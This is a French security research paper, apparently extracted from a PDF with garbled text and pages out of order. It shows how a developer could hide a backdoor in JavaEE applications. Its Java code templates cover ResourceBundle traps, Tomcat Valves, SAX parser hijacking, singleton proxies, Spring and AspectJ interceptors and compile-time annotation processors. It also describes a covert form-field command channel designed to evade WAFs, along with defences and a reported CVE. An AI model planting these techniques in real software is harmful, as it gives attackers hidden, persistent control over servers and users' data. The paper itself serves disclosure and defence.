Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

